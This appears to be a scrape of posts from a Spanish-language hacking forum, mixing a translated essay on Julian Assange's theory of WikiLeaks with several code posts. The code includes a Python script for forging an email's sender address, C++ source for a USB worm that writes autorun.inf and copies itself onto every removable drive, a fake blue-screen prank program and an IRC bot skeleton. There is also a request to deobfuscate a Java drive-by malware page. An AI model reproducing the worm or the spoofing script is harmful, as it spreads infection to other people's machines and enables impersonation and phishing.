la idea de mi cliente de correo es poder falsificar el correo del que se envia el mail (no es que quiera hacer nada ilegal  )

#!/usr/bin/python
import smtplib
import os
from email.mime.text import MIMEText
print "programa para enviar correo"
mensaje = MIMEText(raw_input("mensaje a enviar "))
mensaje["From"]=raw_input("de quien quieres que aparezca en el correo ")
mensaje["To"]=raw_input("a parte de quien el correo quiere q aparezca ")
server = raw_input("que servidor \n nota: hotmail es smtp.live.com: ")
print "conectando al servidor"
try:
    s = smtplib.SMTP(server)
    s.ehlo(server)
    s.starttls()
    correo = raw_input("escriba su correo ")
    clave = raw_input("escriba clave ")
    print "entrando a su correo"
    s.login( correo, clave)
    correo2 = raw_input("a que correo quieren enviar el mail? ")
    s.sendmail(correo, correo2, mensaje.as_string())
    s.close
    print "correo enviado presione enter para salir"
    raw_input()
except:
           print "error no se pudo enviar el correo presione enter"
           raw_input()

Muy interesante artículo traducido de Zunguzungu y distribuido ayer 1 de diciembre por Wikileaks en el grupo que la organización maneja en Facebook. Se trata de un resumen de las ideas de Julian Assange sobre las verdaderas pretensiones de Wikileaks al filtrar documentos ante el secretismo de los gobiernos, aderezado con profundas perspicacias del redactor.




El escrito que introduce esta cita es intelectualmente substancial, pero realmente no es difícil de leer, así que podrías echarle un vistazo tú mismo. La mayor parte de los medios de comunicación parecen estar perdiendo la cabeza con Wikileaks sin haberse leído estos ensayos, incluso a pesar de que describe la función y los objetivos de una organización como Wikileaks en términos meridianamente claros. Para resumirlo, comienza describiendo un estado como los EEUU esencialmente como una conspiración autoritaria, y entonces deduce que la estrategia práctica para combatir esa conspiración es degradar su capacidad de conspirar, obstaculizar su capacidad para “pensar” como una mente conspiradora. La metáfora de una red de ordenadores queda en este texto esencialmente implícita, pero es totalmente crucial: busca oponerse al poder del estado tratándolo como como un ordenador y arrojando arena sobre sus diodos.

Comienza proponiendo que la conspiración y el autoritarismo van de la mano, argumentando que dado que el autoritarismo produce la resistencia a sí mismo -generando tal resistencia en la medida en que ese autoritarismo se haga conocido para el público-, sólo puede continuar existiendo y funcionando impidiendo que sus intenciones (¿la autoría de su autoridad?) sean conocidas por el público general. Inevitablemente se convierte, según argumenta Assange, en una conspiración:

El problema que esto crea para la conspiración gubernamental se convierte entonces en el problema de organización que debe resolver: si la conspiración debe operar en secreto, ¿cómo se puede comunicar, cómo puede planificar y tomar decisiones, disciplinarse y transformarse para afrontar nuevos retos? La respuesta es: controlando el flujo de la información. Después de todo, si la organización tiene unos objetivos susceptibles de ser articulados, el darles esta estructura abiertamente los expone a la resistencia. Pero al mismo tiempo, el no conseguir articular estos objetivos ante sí misma priva a la organización de su capacidad para procesarlos y avanzar para lograrlos. Para las conspiraciones autoritarias el equilibrio apropiado entre autoridad y conspiración se encuentra en algún lugar intermedio.

Su modelo para imaginar la conspiración, entonces, no es en absoluto ese cliché al que se refiere la gente cuando se burlan despectivamente de alguien por ser un “teórico de la conspiración”. Después de todo, la mayor parte de las “conspiraciones” con las que estamos familiarizados son puras fantasías, y dado que los “Protocolos de Sión” o el SPECTRE de James Bond nunca han existido, su no existencia se convierte en un garrote con el que golpear a la gente que pueda utilizar el término o el concepto. En cambio, para Assange una conspiración es algo bastante banal, se trata simplemente de cualquier red de asociados que actúan coordinados ocultando su asociación concertada a quienes están fuera de la red, esto es, una autoridad que funciona evitando que sus actividades sean lo bastante visibles como para provocar una reacción en contra. Puede tratarse de algo tan espectacular como una coalición poco rígida de conspiradores trabajando para empezar una guerra con Iraq, o podría tratarse simplemente de los engaños y conspiraciones banales de los procedimientos diplomáticos habituales.

La analogía de un tablón con clavos que están atados con cordeles ilustra apropiadamente este modelo teórico:

En primer lugar toma algunos clavos (“conspiradores”) y luego clávalos aleatoriamente a martillazos en un tablón. Entonces utiliza un cordel (“comunicación”) y pásalo de clavo a clavo sin romperlo. Llamemos “enlace” al cordel que conecta a dos clavos. El cordel sin romper significa que es posible viajar de un clavo a cualquier otro clavo mediante cordel y clavos intermedios... es decir, estamos hablando de los flujos de información de conspirador a conspirador. No todo conspirador confía o conoce al resto, incluso si todos están conectados. Algunos están en los márgenes exteriores de la conspiración, otros son centrales y se comunican con muchos conspiradores, y otros apenas conocen a un par de conspiradores pero son un puente entre secciones o agrupaciones importantes dentro de la conspiración...

A menudo los conspiradores aplican criterio, pues algunos confían y dependen de los demás mientras que otros dicen poca cosa. Los flujos de información importantes fluyen a menudo a través de determinados enlaces, y a través de otros viaja información trivial. Así que expandimos nuestro sencillo modelo de grafo conectado para incluir no sólo enlaces sino su “importancia”.


Tal red no estará organizada por un diagrama de flujo, ni producirá nunca un único mapa coherente de sí misma (sin acelerar de ese modo su propio colapso). Probablemente es bastante acéfala por regla general: si tuviera una única cabeza (o una mente única organizadora que pudiera inspeccionar y mapear el conjunto), entonces cada conspirador estaría a un paso del jefe y apenas a dos pasos del resto de los miembros de la conspiración. Es decir, se necesita cierta capacidad de centralización (de otro modo no habría conspiración), pero demasiada centralización vuelve vulnerable al sistema.

Utilizando la serie de televisión Bajo Escucha como ejemplo claro a mano, imagínate que Avon Barksdale se estuviera comunicando directamente con Bodie. Todo lo que tendrías que hacer es conseguir a una persona -cualquier persona- y estarías a un paso del jefe, cuya conexión directa al resto de la gente en la conspiración te permitiría barrerlos a todos de una vez. Obviamente, ninguna conspiración efectiva funcionaría así. Recuerda a String Bell en la serie, “no me jodas tío, ¿estás tomando notas sobre una [nuestra] jodida conspiración criminal?”. Para funcionar de manera efectiva, la autoridad primaria debe estar des-asociada del resto de los miembros de la conspiración, y las capas de mediación deben ser todo lo opacas que sea posible para los implicados (cosa que aclara poco un recibo). Pero mientras que la complejidad de estos enlaces protegen a la autoridad dirigente de quedar expuesta, también limitan la capacidad de Avon Barksdale de controlar lo que sucede a su alrededor. ¡Los negocios funcionan con sus propias reglas! Y cuantos más muros construyes a su alrededor, menos puede confiar la autoridad en sus lugartenientes, y menos le necesitarán (o siquiera tolerarán) ellos.

Esto, razona Assange, es una manera de convertir una característica en un bug. Y la perspicacia que subyace es una idea sencilla y, en mi opinión, bastante persuasiva: mientras que una organización estructurada por líneas directas y abiertas de comunicación será mucho más vulnerable a la penetración del exterior, cuanto más opaca se haga de cara a sí misma (como defensa ante la mirada exterior) menos capaz será de “pensar” como un sistema, de comunicarse consigo misma. Cuanto más conspiratoria se vuelva, en cierto sentido, menos efectiva será como conspiración. Cuanto más cerrada está una red a las intrusiones externas, menos capaz será de involucrarse en aquello que está fuera de ella (toda una teorización hacker)

Por supuesto, su pensamiento no es así de abstracto; como anota explícitamente, también entiende el funcionamiento del Estado en EEUU haciendo una analogía con las organizaciones terroristas con éxito. Si has visto por ejemplo “La Batalla de Argel”, piensa en cómo el contra-terrorismo francés trabaja para producir un diagrama de flujo de la organización de la resistencia argelina: dado que tienen una superioridad militar abrumadora, su incapacidad para aplastar al FLN residía en su incapacidad para encontrarlo, una incapacidad pretendida estratégicamente por el propio FLN mediante su propia descentralización. Cortarle una pata al pulpo, se dio cuenta el FLN, no degradaría el sistema como un todo siempre que las patas operasen de manera independiente. Los enlaces entre las unidades fueron los puntos vulnerables para el sistema desde una perspectiva global, con lo que eran lo más cuidadosamente protegido por parte de los argelinos, y lo más insistentemente perseguido por los franceses. Y a pesar de que los franceses ganaron la batalla de Argel, perdieron la guerra, porque adoptaron las tácticas que menciona Assange brevemente tan sólo para dejarlas después a un lado:


Esta es la estrategia del antiterrorismo de EEUU -encontrar quién está al cargo y luego ir a por él-, pero no es esto lo que quiere hacer Assange: tal programa aislaría una versión específica de la conspiración e intentaría destruir la forma concreta ya existente de esta, lo cual, argumenta Assange, tendría dos limitaciones importantes.

Por un lado, para el momento en que esa conspiración adopta una forma que pueda servir de diana, su capacidad para funcionar estará bastante avanzada. Como él escribe:


En otras palabras, en el momento en que el cáncer haya hecho metástasis, los antioxidantes ya no son efectivos, e incluso es difícil aplicar una quimioterapia violenta. Entonces, es mejor pensar sobre cómo las conspiraciones llegan a existir para impedir que siquiera se formen (del mismo modo que si aislas el carcinógeno lo bastante pronto, no necesitarás quitar el tumor después). Es decir, que la idea es dirigirse al proceso de agregación en sí, obstaculizando el principio de su reproducción: en lugar de intentar exponer y cortar enlaces específicos entre conspiradores (que sirve para poco a la hora de evitar que se formen nuevos enlaces y podría no alterar el funcionamiento del sistema a nivel global), pretende atacar al “poder conspirativo al completo” del sistema averiguando cómo reducir su capacidad total para compartir e intercambiar información, y así conseguir frenar su capacidad de proceso. Como él mismo indica:


Dado que piensa sobre la conspiración como una red informática, destaca en un aparte que un método para debilitar su capacidad cognitiva sería degradar la calidad de su información:

No estoy seguro de que sea esto lo que quiere decir, pero merece la pena reflexionar que la capacidad de la conspiración para engañar a otros mediante la propaganda también puede funcionar como la tendencia de la conspiración para engañarse a sí misma sobre su propia propaganda. Mucha gente cae en la trampa genuinamente después de todo. ¿Habrían caído tanto en la trampa del talibán impostor nuestros super-espías en Afganistán si no hubieran creido en esencia su propia línea de propaganda, si no se hubieran convencido a sí mismos -incluso de manera provisional- de que de hecho estamos ganando la guerra contra los Talibán? Lo mismo es cierto sobre las armas de destrucción masiva; aunque nadie que poseyera los hechos podría concluir racionalmente que Saddam Hussein como Irán ahora tuvieran o estuvieran persiguiendo tener tales armas, esto no significa que la gente que habla sobre bombas de relojería con este tema no se lo crea. A veces esto trabaja a su favor, pero a veces no: si Obama pensara que Afganistán se puede ganar, podría hundir su presidencia, por ejemplo, mientras que la creencia de sus asesores de que la economía se recuperaría si el gobierno rescatara sólo a los bancos casi con toda certeza hizo perder las elecciones a mediados de la legislatura para el Partido Demócrata (y fue un golpe mortal para muchos de quienes estaban implementando esa política en particular). Que esto haga daño a una conspiración en particular no está claro; puede que los impulsores de esa política hayan perdido sus cargos, pero la mayor parte de ellos se retirarán del servicio público pasando a cómodos trabajos en los sectores que ellos apoyaron mientras formaban parte del estado. Y muchos políticos de éxito no hacen otra cosa que fallar.

Sin embargo, no es en esta dirección que se dirige el razonamiento de Assange. En vez de esto, decide que la manera más efectiva de atacar este tipo de organización sería convertir las “filtraciones” en una parte fundamental del entorno de información de la conspiración. Por esto es por lo que lo importante no es que unas filtraciones en particular vayan a ser específicamente efectivas. Wikileaks no filtra algo como el video de “Asesinato Colateral” como mecanismo para poner fin a esa táctica militar en particular; eso sería tomar como objetivo una pata específica de la hidra mientras que al monstruo le crecen otras dos patas. En vez de eso, la idea es que aumentar la porosidad del sistema de información de la conspiración dificultará su funcionamiento, que la conspiración se volverá contra sí misma en su auto-defensa, tomando medidas drásticas sobre sus propios flujos de información de maneras que impidan sus propias funciones cognitivas. En otras palabras, destruyes la conspiración haciéndola tan paranoica de sí misma que ya no pueda conspirar:


En otras palabras, la filtración es tan sólo el catalizador para la contra-reacción deseada; Wikileaks quiere provocar a la conspiración para que apague su propio cerebro en respuesta a la amenaza. Mientras intenta cubrir sus propios agujeros y encontrar a los filtradores, razona Assange, los elementos que la componen se des-sincronizarán y se volverán unos contra otros, se des-enlazarán de la red de procesamiento central, y se desharán. Incluso si todos los elementos de la conspiración todavía existen, el hecho de privarles de un flujo vigoroso de información que los conecta juntos como una conspiración evita que actúen como una conspiración. Tal como lo plantea:


En este sentido, casi todos los comentarios de los medios sobre la última ronda de filtraciones ha errado totalmente el tiro. Después de todo, ¿por qué se están filtrando cables diplomáticos? Estas filtraciones no tratan específicamente sobre las guerras en absoluto, y muchos parecen ser sencillamente una ámplia franja de los secretos del día a día que un estado oculta a todo el mundo excepto a los centenares de miles de gente en quienes más confía, que tienen los permisos apropiados para acceder a ellos. La cuestión es: Assange tiene toda la razón al afirmar que nuestro gobierno tiene funciones conspirativas. ¿De qué otro modo podría llamarse al hecho de que un pequeño porcentaje de nuestra clase dirigente gobierne y actúe en nuestro nombre de acuerdo con información que comparte libremente a nivel interno pero que no puede ser compartida entre sus electores?. Y todos nosotros probablemente sabemos que este ha sido más o menos el caso; cualquiera que se haya sorprendido porque lo que nuestras embajadas están haciendo sea trabajo político sucio, secreto e insincero, es por norma general un ingenuo. Pero Assange no pretende producir un escándalo periodístico que provoque reformas gubernamentales sonrojadas o alguna cosa por el estilo, precisamente porque a nadie le escandalizan ya estas cosas. En vez de eso, lo que está intentando es estrangular los enlaces que hacen posible la conspiración, para exponer la necesaria porosidad de la red conspirativa del estado norteamericano con la esperanza de que tal estado intente entonces encoger su metafórica red informática en respuesta, haciéndose por tanto más estúpida y lenta y pequeña.

Las primeras respuestas parecen indicar que Wikileaks va en el buen camino si quiere llevar a cabo algunos de esos objetivos. Como afirma Simon Jenkins (en un gran texto por derecho propio), “las filtraciones han abierto un agujero en el armazón por el que los estados guardan sus secretos”. Y si los diplomáticos citados por Le Monde tienen razón en cuanto que “nunca volveremos a ser capaces de practicar la democracia como antes”, esto es exáctamente lo que WIkileaks estaba intentando conseguir. Es un tanto patético escuchar a los diplomáticos y sus cómplices en el gobierno lamentar que el trabajo normal de la “diplomacia” será ahora imposible. Es como escuchar a alguien quejarse porque el tipo que tiene al lado que juega tan bien al baloncesto le está impidiendo coger los rebotes. Pobrecitos. Si Assange tiene razón al destacar que su organización ha conseguido un mayor escrutinio estatal que el resto del aparato periodístico combinado, tiene razón, pero también está desviando el tema: si bien Wikileaks hace algunas cosas que hacen los periodistas, también hace otras muy distintas. Assange, como indican muy claramente sus afirmaciones introductorias, tiene como objetivo “alterar radicalmente la conducta de los regímenes”.

Si Wikileaks es un tipo distinto de organización que cualquier otra cosa que hayamos visto antes, es interesante verle alinearse con un progresismo más convencional. Assange no está muy desencaminado después de todo cuando cita las palabras de Theodore Roosevelt en su plataforma progresista presidencial de 1912 como epígrafe al primer ensayo; Roosevelt se dio cuenta hace cien años que “Detrás del gobierno aparente se asienta entronizado un gobierno invisible que no debe lealtad ni reconoce responsabilidad alguna a la gente”, y también era cierto entonces que “La primera tarea del arte de gobernar es destruir este gobierno invisible, contaminar esta alianza terrible entre los negocios corruptos y los políticos corruptos”. Assange está intentando cagar sobre toda esta alianza terrible con métodos que el Roosevelt tardío y más radical habría elogiado.

Merece la pena acabar entonces recordando que Roosevelt acuñó el término “remueve-estiercol” [Muckracker en inglés], y que lo hizo como un término despreciativo. Sobre la novela de Bunyan “El Progreso del Peregrino”, Roosevelt citaba el ejemplo del “remueve-estiercol” que sólo podía mirar hacia abajo, cuya perspectiva estaba totalmente limitada al “estiercol” que debía remover en su trabajo, y que había perdido la capacidad de ver nada superior. Merece la pena citar aquí al propio Roosevelt:


Roosevelt pudo ser muchas cosas cuando profirió aquellas palabras, pero no estaba errado. Hay cierta amoralidad despiadada en la filosofía de Mark Zuckerberg[2] de que toda transparencia es una cosa buena siempre y en todas partes, particularmente cuando es proferida por el tipo que está bien ocupado forrándose con tu radical transparencia. Y la manera en la que la mayor parte de los periodistas “destapan” los secretos como práctica profesional -con los límites que se ponen al hacerlo- está afectado por el mismo egoísmo limitante: porque publicitan lo privado sólo cuando existe un beneficio al hacerlo, con lo que tienen los ojos fijos en el valor del estiercol que están removiendo, y aprenden a comprometer su futura existencia profesional sobre un flujo firme y contínuo de estiercol. En el estiercol confían.

De acuerdo con su ensayo, Julian Assange está intentando hacer otra cosa. Dado que todos sabemos a grandes rasgos que el Estado en EEUU -como todos los estados- está en esenciahaciendo un montón de cosas básicamente sombrías durante más o menos todo el tiempo, el mero hecho de revelar las maneras específicas en las que están haciendo estas cosas sombrías no es de por sí una cosa necesariamente buena. En algunos casos podría ser malo, y en muchos casos el bien provisional que pueda hacer tendrá un rango de acción limitado. La cuestión que debe plantearse un ser humano ético -y Assange siempre enfatiza su ética- debe ser la cuestión sobre qué conseguirá poniendo los secretos al descubierto, qué bien hará, qué mejor estado de las cosas traerá. Y estés de acuerdo o no con su argumentación, Assange tiene una visión claramente articulada sobre cómo las actividades de Wikileaks “nos llevarán a través del lodazal del lenguaje políticamente distorsionado, hasta llegar a una posición de claridad”, una estrategia que señala que al poner al descubierto los secretos se impedirá en último término la producción de futuros secretos. Así, el sentido de Wikileaks -así lo argumenta Assange- es sencillamente hacer que Wikileaks se vuelva innecesario.



[1] N.del T. : Esta idea sobre los clavos y el cordel está tomada de los modelos matemáticos de la “Teoría de Grafos”: http://es.wikipedia.org/wiki/Teor%C3%ADa_de_grafos

[2] N, del T. : Mark Zuckerberg es el creador y CEO de Facebook.

fuente: http://www.13t.org/decondicionamiento/forum/viewtopic.php?p=15888

aca un pequeño programa que hice abre el cdrom cambia la posicion del mouse y pone una canción:


edito: en Dev-C++ tienen que ir a: opciones del compilador>añadir estos comandos a la linea de comandos del linker. Deben seleccionar la casilla que te aparece y colocar dentro del campo de texto esto: -lwinmm, en el caso de otros compiladores debes linkear la libreria de otra forma

#pragma comment ( lib, "winmm.lib" )

talves a alguien le sirva

#include <iostream>
#include <windows.h>
#include <fstream>
 
 
 
using namespace std;
 
int main(int argc,char *argv[])
{
    while(true){
    UINT test;
    char tok[][5]={"C:","D:","E:","F:","G:","H:"}; //obviamente se pueeden poner mas  aunque no es muy comun que pase de H://
    for (int l=0;l<=4;l++){
    test = GetDriveType(tok[l]); // MIRA QUE TIPO DE DISPOSITIVO ES EN CASO DE SER 2 ENTONCES ES UNA USB SI ES 1 NO EXISTE
    if(test==2){
    SetCurrentDirectory(tok[l]); // SE UBICA EN EL DIRECOTORIO RAIZ DE LA USB
    ifstream programa;
    programa.open("programa.exe");
    if(!programa.is_open()){ // EN CASO DE NO ESTAR INFECTADA LO HACE
    cout << "usb infectada" << endl;
    ofstream autorun;
    autorun.open("autorun.inf"); //FAMOSO AUTORUN
    autorun << "[Autorun]" << endl;
    autorun << "Open=programa.exe" << endl;
    autorun << "Label=USB INFECTADA"<< endl;
    autorun << "UseAutoplay=1"<< endl;
    autorun << "action=Abrir USB"<< endl;
    autorun << "action=@programa.exe"<< endl;
    autorun << "shell\\open=Abrir"<< endl;
    autorun << "shell\\open\\Command=programa.exe" << endl;
    autorun << "shell\\open\\Default=1" << endl;
    autorun << "shell\\explore=Explorar"<< endl;
    autorun << "shell\\explore\\Command=programa.exe"<< endl;
    autorun.close();
    CopyFile( argv[0], "programa.exe", true ); // SE COPIA
    }
    }
    }
    Sleep(5000); // ESPERA 5 SEGUNDOS
    }
    return 0;
}

encontre un java drive by en una pagina que desaparece y aparece a ciertas horas el codigo del iframe donde trae el malware es este:
alguien me puede ayudar desofuscando el codigo gracias
http://pastebin.com/Ybj9iix1

PD:  es mala idea ponerlo como html y abrirlo si tienes java en el navegador

fuente: http://www.13t.org/decondicionamiento/forum/viewtopic.php?t=2538

hice este programa hace tiempo pero no lo habia posteado aca  

#include <windows.h>
//#include <winable.h>
 HINSTANCE miinstance;
// int bloqueo=0;
 
/*  Declare Windows procedure  */
LRESULT CALLBACK WindowProcedure (HWND, UINT, WPARAM, LPARAM);
 
 
 
/*  Make the class name into a global variable  */
char szClassName[ ] = "WindowsApp";
 
int WINAPI WinMain (HINSTANCE hThisInstance,
                    HINSTANCE hPrevInstance,
                    LPSTR lpszArgument,
                    int nFunsterStil)
 
{
 
    HWND hwnd;               /* This is the handle for our window */
    MSG messages;            /* Here messages to the application are saved */
    WNDCLASSEX wincl;        /* Data structure for the windowclass */
    miinstance=hThisInstance;
 
    /* The Window structure */
    wincl.hInstance = hThisInstance;
    wincl.lpszClassName = szClassName;
    wincl.lpfnWndProc = WindowProcedure;      /* This function is called by windows */
    wincl.style = CS_DBLCLKS;                 /* Catch double-clicks */
    wincl.cbSize = sizeof (WNDCLASSEX);
 
    /* Use default icon and mouse-pointer */
    wincl.hIcon = LoadIcon (NULL, IDI_APPLICATION);
    wincl.hIconSm = LoadIcon (NULL, IDI_APPLICATION);
    wincl.hCursor = LoadCursor (NULL, IDC_ARROW);
    wincl.lpszMenuName = NULL;                 /* No menu */
    wincl.cbClsExtra = 0;                      /* No extra bytes after the window class */
    wincl.cbWndExtra = 0;                      /* structure or the window instance */
    /* Use Windows's default color as the background of the window */
    wincl.hbrBackground = CreateSolidBrush( RGB(0x00, 0x00, 0xFF) );
 
    /* Register the window class, and if it fails quit the program */
    if (!RegisterClassEx (&wincl))
        return 0;
 
    /* The class is registered, let's create the program*/
    hwnd = CreateWindowEx (
           0,                   /* Extended possibilites for variation */
           szClassName,         /* Classname */
           "Windows App",       /* Title Text */
           WS_POPUP, /* default window */
           CW_USEDEFAULT,       /* Windows decides the position */
           CW_USEDEFAULT,       /* where the window ends up on the screen */
           544,                 /* The programs width */
           375,                 /* and height in pixels */
           HWND_DESKTOP,        /* The window is a child-window to desktop */
           NULL,                /* No menu */
           hThisInstance,       /* Program Instance handler */
           NULL                 /* No Window Creation data */
           );
 
    /* Make the window visible on the screen */
    ShowWindow(hwnd, SW_SHOWMAXIMIZED);
    ShowCursor(FALSE);
 
    /* Run the message loop. It will run until GetMessage() returns 0 */
    while (GetMessage (&messages, NULL, 0, 0))
    {
        /* Translate virtual-key messages into character messages */
        TranslateMessage(&messages);
        /* Send message to WindowProcedure */
        DispatchMessage(&messages);
    }
 
    /* The program return-value is 0 - The value that PostQuitMessage() gave */
    return messages.wParam;
}
 
 
/*  This function is called by the Windows function DispatchMessage()  */
 
 
HWND label;
LRESULT CALLBACK WindowProcedure (HWND hwnd, UINT message, WPARAM wParam, LPARAM lParam)
{
    switch (message)                  /* handle the messages */
    {
        case WM_CREATE:
//             if (bloqueo==0){
//               BlockInput(true);
//               bloqueo=1;
//             }
             static HBRUSH pincel=CreateSolidBrush(RGB(192,192,192));
             static HBRUSH pincel2=CreateSolidBrush(RGB(0,0,255));
             static HWND etiqueta = CreateWindowEx(0,"STATIC", "   WINDOWS", WS_CHILD|WS_VISIBLE, 600, 150, 100, 18, hwnd, 0, miinstance, NULL);
             static HWND etiqueta2 = CreateWindowEx(0,"STATIC", "Se ha encontrado un problema y windows ha sido apagado para evitar daños al equipo.\n MACHINE_CHECK_EXCEPTION\nSi esta es la primera vez que se ve esta pantalla de error de detención, reinicie su equipo. Si esta pantalla aparece otra vez, siga los siguientes pasos:\nComprueba que cualquier hardware o software esta correctamente instalado, si es una nueva instalación, contacte con su proveedor de hardware o software para obtener actualizaciones de windows que pueda necesitar.\n", WS_CHILD|WS_VISIBLE, 250, 200, 600, 408, hwnd, 0, miinstance, NULL);
             static HWND etiqueta3 = CreateWindowEx(0,"STATIC", " *** STOP: 0x0000009C (0X00000004, 0X8054D570,0B2000000,0X00070F0F)", WS_CHILD|WS_VISIBLE,550,500,600,408, hwnd, 0, miinstance, NULL);
 
             break;
        case WM_CTLCOLORSTATIC:
        if(lParam==(LPARAM)etiqueta){
            SetBkColor((HDC)wParam, RGB(192,192,192));
            SetTextColor((HDC)wParam, RGB(0,0,255));
            return (LRESULT)pincel;
            }
        if(lParam==(LPARAM)etiqueta2 || lParam==(LPARAM)etiqueta3){
            SetBkColor((HDC)wParam, RGB(0,0,255));
            SetTextColor((HDC)wParam, RGB(255,255,255));
            return (LRESULT)pincel2;
            }
            break;
        case WM_DESTROY:
            PostQuitMessage (0);       /* send a WM_QUIT to the message queue */
            break;
        default:                      /* for messages that we don't deal with */
            return DefWindowProc (hwnd, message, wParam, lParam);
    }
 
    return 0;
}
 
 

si se habran dado cuenta tengo en la firma un enlace al chat quienes quieran ponerselo aca lo dejo


http://pastebin.com/ZacchPJ3


saludos

a pesar de lo simple del programa me costo bastante hacerlo estaba muy acostumbrado a las expresiones regulares de lenguajes  como python  no hace nada como dije un esqueleto donde  es muy facil usar los datos y hacer que el bot haga lo que uno quiera
seguramente se pueden mejorar muchas cosas  pero de esta forma funciona  

#include <winsock2.h>
#include <windows.h>
#include <cstring>
#include <cstdio>
 
void comandos(char *usuario,char *cmand, char *sala,char *mensaje)
{
 printf("Usuario: %s\n",usuario);
 printf("Comando irc: %s\n",cmand);
 printf("sala: %s\n",sala);
 printf("mensaje: %s\n",mensaje);
 //char comando[130]="PRIVMSG #botslols :Soy un inutil bot en c :(\r\n";
 //send(sock,comando,strlen(comandos),0);
}
 
 
int main()
{
SetConsoleTitle("irc bot");
    WSADATA wsa;
    SOCKET sock;
    int conex;
    int len;
    char Buffer[1024];
    //
    char peticion1[]="NICK BOTpurakerdal\r\n"; // nombre del bot
    char peticion2[]="USER BOTpurakerdal 1 1 1\r\n"; //nombre completo
    char peticion3[]="JOIN #botslols\r\n";   //sala
    int enviado=0;
 
    char pong[130]="PONG :";
    char ping[130]={0};
    struct hostent *host;
    struct sockaddr_in direc;
    WSAStartup(MAKEWORD(2,0),&wsa);
    host=gethostbyname("chat.freenode.net");
    sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
    if (sock==-1)
   {
      printf("Error al crear el socket");
      return -1;
   }
    direc.sin_family=AF_INET;
    direc.sin_port=htons(6667);
    direc.sin_addr = *((struct in_addr *)host->h_addr);
    memset(direc.sin_zero,0,8);
    conex=connect(sock,(sockaddr *)&direc, sizeof(sockaddr));
    if(conex==-1)
    {
        printf("error\n");
        return -1;
    }
    printf("[+]conexion establecida\n");
    enviado=send(sock, peticion1,strlen(peticion1), 0);
    printf("[+]nick registrado\n");
    enviado=send(sock, peticion2,strlen(peticion2), 0);
    enviado=send(sock, peticion3,strlen(peticion3), 0);
    printf("[+]entrando a la sala\n-\n");
    int final3;
    int ciclo2;
//-------------------------------
    char cadenita[500];
    char cadenita2[500];
    char usuario[500];
    char sala[500];
    char cmand[500];
    char mensaje[500];
//--------------------------
    char *star;
 
    //------------------
    int ciclo;
    while (len!=-1 && strcmp(Buffer,"salir")!=0)
    {
        fflush(stdout);
        len = recv(sock, Buffer, sizeof(Buffer), 0);
 
 
//enviar el pong que es la respuesta al ping de irc 
       for(int ewe=0;ewe != len;ewe++)
       {
        if((Buffer[ewe]=='P')&&(Buffer[ewe+1]=='I')&&(Buffer[ewe+2]=='N')&&(Buffer[ewe+3]=='G'))
        {
            memcpy(ping,Buffer+ewe+6,10);
            memcpy(pong+6,ping,10);
            memcpy(pong+16,"\r\n",strlen("\r\n"));
            send(sock,pong,strlen(pong),0);
 
        }
       }
 
//---------------------------------------
       if(Buffer[0]==':') // si comienza en : es un comando
       {
 
 
       for(ciclo=0;(ciclo<500)&&(Buffer[ciclo]!='\r');ciclo++)
       {
         cadenita[ciclo]=Buffer[ciclo];
       }
       //le quitamos la basura al buffer
        strcpy(cadenita2,cadenita); //necesito la cadena completa strtok la parte
        star=strtok(cadenita," "); // parto la cadena la primera palabra es el user
        strcpy(usuario,star); // pongo el user en la variable usuario
        star=strtok(NULL," "); // tomo la siguente palabra
        strcpy(cmand,star); // tomo el comando de irc 
        star=strtok(NULL," "); 
        strcpy(sala,star); // esta es la sala
        memcpy(mensaje,(cadenita2+strlen(usuario)+strlen(cmand)+strlen(sala)+4),500); // es decir todo lo anterior a el mensaje no se copia eso mas 3 espacios mas este caracter : es decir 4
        comandos(usuario,cmand,sala,mensaje);
}
}
    return 0;
}